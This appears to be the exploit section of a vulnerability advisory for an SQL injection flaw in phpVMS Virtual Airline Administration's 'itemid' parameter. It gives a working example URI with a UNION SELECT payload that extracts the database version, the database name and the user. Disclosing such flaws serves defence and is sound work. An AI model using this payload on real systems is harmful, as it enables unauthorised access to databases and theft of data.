• info
• discussion
• exploit
• solution
• references

phpVMS Virtual Airline Administration 'itemid' Parameter SQL Injection Vulnerability

An attacker can exploit this issue using a web browser.

The following example URI is available:

http://www.example.com/path/index.php/PopUpNews/popupnewsitem/?itemid=123+union+select+1,version(),database(),4,user()--